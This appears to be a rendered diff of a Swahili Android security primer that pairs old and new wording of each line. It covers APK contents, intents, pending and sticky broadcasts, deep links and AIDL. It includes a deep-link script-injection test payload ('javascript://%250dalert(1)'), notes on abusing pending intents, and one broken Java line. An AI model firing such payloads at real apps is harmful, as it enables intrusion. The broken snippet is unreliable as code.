Inawezekana **kubadilisha OS kwa kusanikisha firmware ya desturi**. Kufanya hivi inawezekana kupanua matumizi ya kifaa cha zamani, kuepuka vizuizi vya programu au kupata ufikiaji wa msimbo wa Android wa hivi karibuni.\
|
Inawezekana **kubadilisha OS kwa kusanikisha firmware ya desturi**. Kufanya hivi inawezekana kuongeza matumizi ya kifaa cha zamani, kuepuka vizuizi vya programu au kupata ufikiaji wa msimbo wa Android wa hivi karibuni.\
|
||||||
**OmniROM** na **LineageOS** ni moja ya firmware maarufu zaidi kutumia.
|
**OmniROM** na **LineageOS** ni moja ya firmware maarufu zaidi kutumia.
|
||||||
|
|
||||||
Tambua kwamba **sio lazima kila wakati kuroot kifaa** kusanikisha firmware ya desturi. **Baadhi ya watengenezaji huruhusu** kufungua bootloader zao kwa njia iliyodokezwa vizuri na salama.
|
Tambua kwamba **sio lazima kila wakati kuroot kifaa** kusanikisha firmware ya desturi. **Baadhi ya watengenezaji huruhusu** kufungua bootloader zao kwa njia iliyodokezwa vizuri na salama.
|
||||||
|
|
||||||
### Matokeo
|
### Matokeo
|
||||||
|
|
||||||
Maranyingi kifaa kikisharoot, programu yoyote inaweza kuomba ufikiaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata ufikiaji wa karibu kila kitu na itaweza kuharibu simu.
|
Marakaraka kifaa kimeroot, programu yoyote inaweza kuomba ufikiaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata ufikiaji wa karibu kila kitu na itaweza kuharibu simu.
|
||||||
|
|
||||||
## Misingi ya Maombi ya Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
## Misingi ya Maombi ya Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||||
|
|
||||||
- Mfumo wa maombi ya Android unaitwa _muundo wa faili wa APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kificho cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana).
|
- Muundo wa maombi ya Android unaitwa _muundo wa faili wa APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kificho cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana).
|
||||||
- Yaliyomo ya APK (Hayo ni baadhi tu)
|
- Yaliyomo ya APK (Hayo hayatoshi)
|
||||||
- **AndroidManifest.xml**
|
- **AndroidManifest.xml**
|
||||||
- resources.arsc/strings.xml
|
- resources.arsc/strings.xml
|
||||||
- resources.arsc: ina rasilimali zilizopangwa mapema, kama XML ya binary.
|
- resources.arsc: ina rasilimali zilizopangwa mapema, kama XML ya binary.
|
||||||
- res/xml/files\_paths.xml
|
- res/xml/files\_paths.xml
|
||||||
- META-INF/
|
- META-INF/
|
||||||
- Hapa ndipo Cheti linapatikana!
|
- Hapa ndipo Cheti lilipo!
|
||||||
- **classes.dex**
|
- **classes.dex**
|
||||||
- Ina bytecode ya Dalvik, ikionyesha msimbo uliokompiliwa wa Java (au Kotlin) ambao programu inatekeleza kwa chaguo-msingi.
|
- Ina bytecode ya Dalvik, ikionyesha msimbo uliokompiliwa wa Java (au Kotlin) ambao programu inatekeleza kwa chaguo-msingi.
|
||||||
- lib/
|
- lib/
|
||||||
|
@ -100,18 +108,18 @@ Maranyingi kifaa kikisharoot, programu yoyote inaweza kuomba ufikiaji kama msing
|
||||||
- `x86`: msimbo kwa processors za X86
|
- `x86`: msimbo kwa processors za X86
|
||||||
- `mips`: msimbo kwa processors za MIPS pekee
|
- `mips`: msimbo kwa processors za MIPS pekee
|
||||||
- assets/
|
- assets/
|
||||||
- Inahifadhi faili mbalimbali zinazohitajika na programu, pamoja na maktaba za asili au faili za DEX zaidi, mara nyingine hutumiwa na waandishi wa programu hasidi kuficha msimbo zaidi.
|
- Inahifadhi faili mbalimbali zinazohitajika na programu, pamoja na maktaba za asili au faili za DEX zaidi, mara nyingi hutumiwa na waandishi wa programu hasidi kuficha msimbo zaidi.
|
||||||
- res/
|
- res/
|
||||||
- Ina rasilimali ambazo hazijakusanywa katika resources.arsc
|
- Ina rasilimali ambazo hazijakusanywa katika resources.arsc
|
||||||
### **Dalvik & Smali**
|
### **Dalvik & Smali**
|
||||||
|
|
||||||
Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Zamani, mashine ya kawaida ya Dalvik ilishughulikia bytecode huu, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya zaidi la Android.
|
Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Zamani, mashine ya kawaida ya Dalvik ilishughulikia bytecode huu, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya la Android.
|
||||||
|
|
||||||
Kwa uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomwa na binadamu la DEX bytecode, likifanya kazi kama lugha ya mkutano kwa kutafsiri nambari ya chanzo kuwa maagizo ya bytecode. Smali na baksmali hurejelea zana za mkutano na kufunga upya katika muktadha huu.
|
Kwa uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomwa na binadamu la DEX bytecode, likifanya kazi kama lugha ya mkutano kwa kutafsiri nambari ya chanzo kuwa maagizo ya bytecode. Smali na baksmali hurejelea zana za mkutano na kuvunja tena katika muktadha huu.
|
||||||
|
|
||||||
## Intents
|
## Intents
|
||||||
|
|
||||||
Intents ni njia kuu ambayo programu za Android hutumia kuwasiliana kati ya vipengele vyao au na programu nyingine. Vitu hivi vya ujumbe pia vinaweza kubeba data kati ya programu au kipengele, kama jinsi maombi ya GET/POST yanavyotumiwa katika mawasiliano ya HTTP.
|
Intents ni njia kuu ambayo programu za Android huchangia kati ya vipengele vyao au na programu nyingine. Vitu hivi vya ujumbe pia vinaweza kubeba data kati ya programu au kipengele, kama jinsi maombi ya GET/POST yanavyotumiwa katika mawasiliano ya HTTP.
|
||||||
|
|
||||||
Kwa hivyo, Intent ni **ujumbe unaopitishwa kati ya vipengele**. Intents **zinaweza kuwa zimeelekezwa** kwa vipengele au programu maalum, **au zinaweza kutumwa bila mpokeaji maalum**.\
|
Kwa hivyo, Intent ni **ujumbe unaopitishwa kati ya vipengele**. Intents **zinaweza kuwa zimeelekezwa** kwa vipengele au programu maalum, **au zinaweza kutumwa bila mpokeaji maalum**.\
|
||||||
Ili kuwa rahisi, Intent inaweza kutumika:
|
Ili kuwa rahisi, Intent inaweza kutumika:
|
||||||
|
@ -119,8 +127,8 @@ Ili kuwa rahisi, Intent inaweza kutumika:
|
||||||
* Kuanza Shughuli, kwa kawaida kufungua kiolesura cha mtumiaji kwa programu
|
* Kuanza Shughuli, kwa kawaida kufungua kiolesura cha mtumiaji kwa programu
|
||||||
* Kama matangazo ya kuarifu mfumo na programu za mabadiliko
|
* Kama matangazo ya kuarifu mfumo na programu za mabadiliko
|
||||||
* Kuanza, kusimamisha, na kuwasiliana na huduma ya nyuma
|
* Kuanza, kusimamisha, na kuwasiliana na huduma ya nyuma
|
||||||
* Kupata data kupitia Watoa Huduma wa Yaliyomo
|
* Kupata data kupitia Watoaji wa Yaliyomo
|
||||||
* Kama maingiliano ya kushughulikia matukio
|
* Kama maombi ya kurudi kushughulikia matukio
|
||||||
|
|
||||||
Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashambulizi**.
|
Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashambulizi**.
|
||||||
|
|
||||||
|
@ -128,11 +136,11 @@ Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashamb
|
||||||
|
|
||||||
**Intent Filters** hufafanua **jinsi shughuli, huduma, au Kipokeaji cha Matangazo kinaweza kuingiliana na aina tofauti za Intents**. Kimsingi, hufafanua uwezo wa vipengele hivi, kama vile vitendo wanavyoweza kutekeleza au aina za matangazo wanayoweza kusindika. Mahali kuu pa kutangaza vichungi hivi ni ndani ya faili ya **AndroidManifest.xml**, ingawa kwa Kipokeaji cha Matangazo, kuandika ni chaguo pia.
|
**Intent Filters** hufafanua **jinsi shughuli, huduma, au Kipokeaji cha Matangazo kinaweza kuingiliana na aina tofauti za Intents**. Kimsingi, hufafanua uwezo wa vipengele hivi, kama vile vitendo wanavyoweza kutekeleza au aina za matangazo wanayoweza kusindika. Mahali kuu pa kutangaza vichungi hivi ni ndani ya faili ya **AndroidManifest.xml**, ingawa kwa Kipokeaji cha Matangazo, kuandika ni chaguo pia.
|
||||||
|
|
||||||
Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kuingiza metadata ziada. Hii inaruhusu vipengele kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa.
|
Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kujumuisha metadata ziada. Hii inaruhusu vipengele kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa.
|
||||||
|
|
||||||
Jambo muhimu la vipengele vya Android (shughuli/huduma/watoa huduma wa yaliyomo/Kipokeaji cha Matangazo) ni uonekano wao au **hali ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa **`exported`** na thamani ya **`true`** au ikiwa Kichungi cha Intent kimeelezwa kwa hiyo katika muktadha. Walakini, kuna njia kwa watengenezaji kudumisha vipengele hivi kuwa binafsi, kuhakikisha kuwa haviingiliani na programu nyingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa muktadha.
|
Jambo muhimu la vipengele vya Android (shughuli/huduma/watoaji wa yaliyomo/Kipokeaji cha Matangazo) ni uonekano wao au **hali ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kina **`exported`** na thamani ya **`true`** au ikiwa Kichungi cha Intent kimeelezwa kwa hiyo katika maelezo. Walakini, kuna njia kwa watengenezaji kudumisha vipengele hivi kuwa binafsi, kuhakikisha kuwa havichangiliani na programu nyingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa maelezo.
|
||||||
|
|
||||||
Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. Sifa ya **`permission`** inaweza kuwekwa kutekeleza kwamba ni programu zenye ruhusa iliyopewa tu zinaweza kupata kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya ni nani anaweza kuingiliana nacho.
|
Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. Sifa ya **`ruhusa`** inaweza kuwekwa ili kuhakikisha kuwa ni programu zenye ruhusa iliyopewa tu ndizo zinaweza kupata kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya ni nani anaweza kuingiliana nacho.
|
||||||
```java
|
```java
|
||||||
<activity android:name=".MyActivity" android:exported="false">
|
<activity android:name=".MyActivity" android:exported="false">
|
||||||
<!-- Intent filters go here -->
|
<!-- Intent filters go here -->
|
||||||
|
@ -157,11 +165,11 @@ Nia hii inapaswa kutangazwa ndani ya mwonekano kama katika mfano ufuatao:
|
||||||
```
|
```
|
||||||
Intent-filter inahitaji kufanana na **action**, **data** na **category** ili kupokea ujumbe.
|
Intent-filter inahitaji kufanana na **action**, **data** na **category** ili kupokea ujumbe.
|
||||||
|
|
||||||
Mchakato wa "Uamuzi wa Intent" unabainisha ni programu gani itapokea kila ujumbe. Mchakato huu unazingatia **kipaumbele cha sifa**, ambacho kinaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**.
|
Mchakato wa "Uamuzi wa Intent" unahusisha kujua ni app gani inapaswa kupokea kila ujumbe. Mchakato huu unazingatia **sifa ya kipaumbele**, ambayo inaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**.
|
||||||
|
|
||||||
### Intents Zilizoelekezwa
|
### Intents Dhahiri
|
||||||
|
|
||||||
Intent iliyoelekezwa inabainisha jina la darasa inayolengwa:
|
Intent dhahiri inabainisha jina la darasa inalolenga:
|
||||||
```java
|
```java
|
||||||
Intent downloadIntent = new (this, DownloadService.class):
|
Intent downloadIntent = new (this, DownloadService.class):
|
||||||
```
|
```
|
||||||
|
@ -173,29 +181,32 @@ context.startService(intent);
|
||||||
```
|
```
|
||||||
### Pending Intents
|
### Pending Intents
|
||||||
|
|
||||||
Hizi huruhusu programu nyingine kuchukua hatua kwa niaba ya programu yako, ikatumia kitambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa kuhusisha nia na hatua ya kutekelezwa. Ikiwa nia iliyotangazwa si ya moja kwa moja (haielezi ni nia gani inaweza kuita), programu hasidi inaweza kutekeleza hatua iliyotangazwa kwa niaba ya programu ya mwathiriwa. Zaidi ya hayo, ikiwa hatua haijatajwa, programu hasidi itaweza kufanya hatua yoyote kwa niaba ya mwathiriwa.
|
Hizi huruhusu programu zingine **kuchukua hatua kwa niaba ya programu yako**, ikatumia kitambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa **kutaja nia na hatua ya kutekeleza**. Ikiwa **neno la nia lililotajwa si wazi** (halitaji ni nia gani inaweza kuita), programu mbaya inaweza kutekeleza hatua iliyotajwa **kwa niaba ya programu ya mwathiriwa**. Zaidi ya hayo, **ikiwa hatua haijatajwa**, programu mbaya itaweza kufanya **hatua yoyote kwa niaba ya mwathiriwa**.
|
||||||
|
|
||||||
### Broadcast Intents
|
### Broadcast Intents
|
||||||
|
|
||||||
Tofauti na nia za awali, ambazo hupokelewa na programu moja tu, nia za matangazo zinaweza kupokelewa na programu nyingi. Walakini, kuanzia toleo la API 14, ni rahisi kufafanua programu inayopaswa kupokea ujumbe kwa kutumia Intent.set Package.
|
Tofauti na nia za awali, ambazo hupokelewa na programu moja tu, nia za matangazo **zinaweza kupokelewa na programu nyingi**. Hata hivyo, kuanzia toleo la API 14, ni **inawezekana kutaja programu inayopaswa kupokea** ujumbe kwa kutumia Intent.set Package.
|
||||||
|
|
||||||
Kwa kuongezea, ni rahisi pia kufafanua ruhusa wakati wa kutuma matangazo. Programu ya kupokea itahitaji kuwa na ruhusa hiyo.
|
Kwa kuongezea, pia ni **inawezekana kutaja ruhusa wakati wa kutuma matangazo**. Programu ya kupokea itahitaji kuwa na ruhusa hiyo.
|
||||||
|
|
||||||
Kuna aina mbili za Matangazo: Kawaida (asynchronous) na Yaliyopangwa (synchronous). Mpangilio unategemea kipaumbele kilichowekwa ndani ya kipokeaji. Kila programu inaweza kusindika, kusambaza, au kudondosha Matangazo.
|
Kuna **aina mbili** za Matangazo: **Kawaida** (isio ya moja kwa moja) na **Yaliyopangwa** (ya moja kwa moja). **Mpangilio** unategemea **kipaumbele kilichowekwa ndani ya kipokeaji**. **Kila programu inaweza kusindika, kusambaza, au kudondosha Matangazo.**
|
||||||
|
|
||||||
Inawezekana kutuma matangazo kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`. Unaweza pia kutumia kazi `sendBroadcast` kutoka kwa `LocalBroadCastManager` kuhakikisha ujumbe hauondoki kamwe kwenye programu. Kwa kutumia hii, hata hautahitaji kuuza kipokeaji.
|
Inawezekana **kutuma** matangazo kwa kutumia kazi `sendBroadcast(nia, ruhusa ya mpokeaji)` kutoka darasa la `Context`.\
|
||||||
|
Unaweza pia kutumia kazi **`sendBroadcast`** kutoka **`LocalBroadCastManager`** kuhakikisha **ujumbe hauondoki kamwe kwenye programu**. Kwa kutumia hii hata hautahitaji kuuza nje sehemu ya kupokea.
|
||||||
|
|
||||||
### Matangazo ya Sticky
|
### Matangazo ya Sticky
|
||||||
|
|
||||||
Aina hii ya Matangazo inaweza kupatikana muda mrefu baada ya kutumwa. Hizi zilipitwa na wakati katika kiwango cha API 21 na inapendekezwa kutokuzitumia. Zinaruhusu programu yoyote kunusa data, lakini pia kuihariri.
|
Aina hii ya Matangazo **inaweza kupatikana muda mrefu baada ya kutumwa**.\
|
||||||
|
Hizi zilipitwa na wakati katika kiwango cha API 21 na **inashauriwa kutotumia**.\
|
||||||
|
**Zinaruhusu programu yoyote kunusa data, lakini pia kuihariri.**
|
||||||
|
|
||||||
Ikiwa unapata kazi zinazoleta neno "sticky" kama `sendStickyBroadcast` au `sendStickyBroadcastAsUser`, angalia athari na jaribu kuziondoa.
|
Ikiwa unapata kazi zinazoleta neno "sticky" kama **`sendStickyBroadcast`** au **`sendStickyBroadcastAsUser`**, **angalia athari na jaribu kuziondoa**.
|
||||||
|
|
||||||
## Viungo vya Kina / Mipango ya URL
|
## Viungo vya Kina / Mipango ya URL
|
||||||
|
|
||||||
Katika programu za Android, viungo vya kina hutumiwa kuanzisha hatua (Nia) moja kwa moja kupitia URL. Hii hufanywa kwa kutangaza mpango maalum wa URL ndani ya shughuli. Wakati kifaa cha Android kinajaribu kupata URL na mpango huu, shughuli iliyotajwa ndani ya programu huzinduliwa.
|
Katika programu za Android, **viungo vya kina** hutumiwa kuanzisha hatua (Nia) moja kwa moja kupitia URL. Hii hufanywa kwa kutangaza **mpango maalum wa URL** ndani ya shughuli. Wakati kifaa cha Android kinajaribu **kufikia URL na mpango huu**, shughuli iliyotajwa ndani ya programu inazinduliwa.
|
||||||
|
|
||||||
Mpango huo lazima utangazwe katika faili ya `AndroidManifest.xml`:
|
Mpango lazima utangazwe katika faili ya **`AndroidManifest.xml`**:
|
||||||
```xml
|
```xml
|
||||||
[...]
|
[...]
|
||||||
<activity android:name=".MyActivity">
|
<activity android:name=".MyActivity">
|
||||||
|
@ -207,7 +218,7 @@ Mpango huo lazima utangazwe katika faili ya `AndroidManifest.xml`:
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Schemu kutoka kwenye mfano uliopita ni `exampleapp://` (pia kumbuka **`jamii BROWSABLE`**)
|
Schemu kutoka kwa mfano uliopita ni `exampleapp://` (pia kumbuka **`jamii BROWSABLE`**)
|
||||||
|
|
||||||
Kisha, katika uga wa data, unaweza kufafanua **host** na **path**:
|
Kisha, katika uga wa data, unaweza kufafanua **host** na **path**:
|
||||||
```xml
|
```xml
|
||||||
|
@ -215,36 +226,36 @@ Kisha, katika uga wa data, unaweza kufafanua **host** na **path**:
|
||||||
android:host="example"
|
android:host="example"
|
||||||
/>
|
/>
|
||||||
```
|
```
|
||||||
Kuipata kutoka kwenye wavuti inawezekana kuweka kiungo kama:
|
Ili kuipata kutoka kwenye wavuti, niwezekanavyo kuweka kiungo kama:
|
||||||
```xml
|
```xml
|
||||||
<a href="examplescheme://example/something">click here</a>
|
<a href="examplescheme://example/something">click here</a>
|
||||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||||
```
|
```
|
||||||
Ili kupata **msimbo utakaotekelezwa kwenye Programu**, nenda kwenye shughuli iliyoitwa na kiungo kirefu na tafuta kazi ya **`onNewIntent`**.
|
Ili kupata **msimbo utakaotekelezwa kwenye Programu**, nenda kwenye shughuli iliyoitwa na kiungo cha kina na tafuta kazi ya **`onNewIntent`**.
|
||||||
|
|
||||||
Jifunze jinsi ya [kuita viungo vya kina bila kutumia kurasa za HTML](./#exploiting-schemes-deep-links).
|
Jifunze jinsi ya [kuita viungo vya kina bila kutumia kurasa za HTML](./#exploiting-schemes-deep-links).
|
||||||
|
|
||||||
## AIDL - Lugha ya Ufafanuzi wa Interface ya Android
|
## AIDL - Lugha ya Ufafanuzi wa Interface ya Android
|
||||||
|
|
||||||
**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kufanikisha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata kumbukumbu ya michakato mingine moja kwa moja hairuhusiwi kwenye Android, AIDL inasimplisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kwa kusaidia mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata kumbukumbu ya michakato mingine moja kwa moja hairuhusiwi kwenye Android, AIDL inasimplisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
||||||
|
|
||||||
### Dhana Kuu
|
### Dhana Kuu
|
||||||
|
|
||||||
- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` katika darasa la huduma ni muhimu sana kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana la ukaguzi wa usalama kutafuta mapungufu.
|
- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` katika darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana la ukaguzi wa usalama kutafuta mapungufu.
|
||||||
|
|
||||||
- **Mtume (Messenger)**: Kufanya kazi kama huduma iliyobana, Mtume inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia mbinu ya `onBind`. Ni muhimu kukagua mbinu hii kwa karibu kwa namna yoyote ya kushughulikia data kwa usalama au utekelezaji wa kazi nyeti.
|
- **Mtume**: Kufanya kazi kama huduma iliyobana, Mtume inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia mbinu ya `onBind`. Ni muhimu kukagua mbinu hii kwa karibu kwa kushughulikia data zisizo salama au utekelezaji wa kazi nyeti.
|
||||||
|
|
||||||
- **Kifungu (Binder)**: Ingawa matumizi moja kwa moja ya darasa la Binder ni nadra kutokana na ujumuishaji wa AIDL, ni faida kuelewa kuwa Binder hufanya kazi kama dereva wa kiwango cha kernel kurahisisha uhamishaji wa data kati ya nafasi za kumbukumbu za michakato tofauti. Kwa uelewa zaidi, rasilimali inapatikana kwenye [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
- **Kifungu**: Ingawa matumizi moja kwa moja ya darasa la Kifungu ni nadra kutokana na ujumuishaji wa AIDL, ni faida kuelewa kuwa Kifungu hufanya kazi kama dereva wa kiwango cha kernel kurahisisha uhamishaji wa data kati ya nafasi za kumbukumbu za michakato tofauti. Kwa uelewa zaidi, rasilimali inapatikana kwenye [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||||
|
|
||||||
## Vipengele
|
## Vipengele
|
||||||
|
|
||||||
Hivi ni pamoja na: **Shughuli (Activities), Huduma (Services), Wapokeaji wa Matangazo (Broadcast Receivers) na Watoaji (Providers).**
|
Hivi ni pamoja na: **Shughuli, Huduma, Wapokeaji wa Matangazo na Watoa Huduma.**
|
||||||
|
|
||||||
### Shughuli ya Kuzindua na shughuli nyingine
|
### Shughuli ya Kuzindua na shughuli nyingine
|
||||||
|
|
||||||
Katika programu za Android, **shughuli (activities)** ni kama skrini, zikionyesha sehemu tofauti za interface ya mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikiwasilisha skrini ya kipekee kwa mtumiaji.
|
Katika programu za Android, **shughuli** ni kama skrini, zikionyesha sehemu tofauti za interface ya mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikionyesha skrini ya kipekee kwa mtumiaji.
|
||||||
|
|
||||||
**Shughuli ya kuzindua (launcher activity)** ni lango kuu kwenye programu, inayoanzishwa unapobonyeza picha ya programu. Imedefiniwa kwenye faili ya maelezo ya programu na nia maalum za MAIN na LAUNCHER:
|
**Shughuli ya kuzindua** ni lango kuu kwenye programu, inayoanzishwa unapobonyeza picha ya programu. Imedefiniwa kwenye faili ya maelezo ya programu na nia maalum za MAIN na LAUNCHER:
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -253,19 +264,19 @@ Katika programu za Android, **shughuli (activities)** ni kama skrini, zikionyesh
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
Haitaji shughuli ya kuzindua, hasa zile bila kiolesura cha mtumiaji, kama huduma za nyuma.
|
Haitaji shughuli za kuzindua, hasa zile bila kiolesura cha mtumiaji, kama huduma za nyuma.
|
||||||
|
|
||||||
Shughuli zinaweza kuwezeshwa kwa programu au michakato mingine kwa kuziweka kama "zilizowekwa wazi" katika hati ya maandishi. Mipangilio hii inaruhusu programu nyingine kuanza shughuli hii:
|
Shughuli zinaweza kuwezeshwa kwa programu au michakato mingine kwa kuziweka kama "zilizouzwa" kwenye hati ya maandishi. Mipangilio hii inaruhusu programu nyingine kuanza shughuli hii:
|
||||||
```markdown
|
```markdown
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
Hata hivyo, kupata shughuli kutoka kwa programu nyingine sio hatari ya usalama kila wakati. Wasiwasi unatokea ikiwa data nyeti inashirikishwa kwa njia isiyofaa, ambayo inaweza kusababisha uvujaji wa habari.
|
Hata hivyo, kufikia shughuli kutoka kwa programu nyingine sio hatari ya usalama kila wakati. Wasiwasi unatokea ikiwa data nyeti inashirikishwa kwa njia isiyofaa, ambayo inaweza kusababisha uvujaji wa habari.
|
||||||
|
|
||||||
**Mzunguko wa maisha ya shughuli** huanza na njia ya **onCreate**, kuweka UI na kujiandaa kwa shughuli kuingiliana na mtumiaji.
|
**Mzunguko wa maisha ya shughuli** huanza na njia ya **onCreate**, kuweka UI na kujiandaa kwa shughuli ya mwingiliano na mtumiaji.
|
||||||
|
|
||||||
### Darasa la Maombi
|
### Darasa la Maombi
|
||||||
|
|
||||||
Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kwa kuanzishwa mapema kabla ya sehemu nyingine ya maombi kuanza.
|
Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale kama hilo linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kuanzishwa mapema kabla ya sehemu nyingine ya maombi kuanza.
|
||||||
```java
|
```java
|
||||||
public class MyApp extends Application {
|
public class MyApp extends Application {
|
||||||
@Override
|
@Override
|
||||||
|
@ -283,31 +294,31 @@ super.onCreate();
|
||||||
```
|
```
|
||||||
### Huduma
|
### Huduma
|
||||||
|
|
||||||
[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kukimbia hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **shughuli ndefu**.
|
[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kufanya hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **shughuli ndefu**.
|
||||||
|
|
||||||
Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara tu huduma inapoanzishwa kwa kutumia mbinu ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea kukimbia hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, mbinu ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data.
|
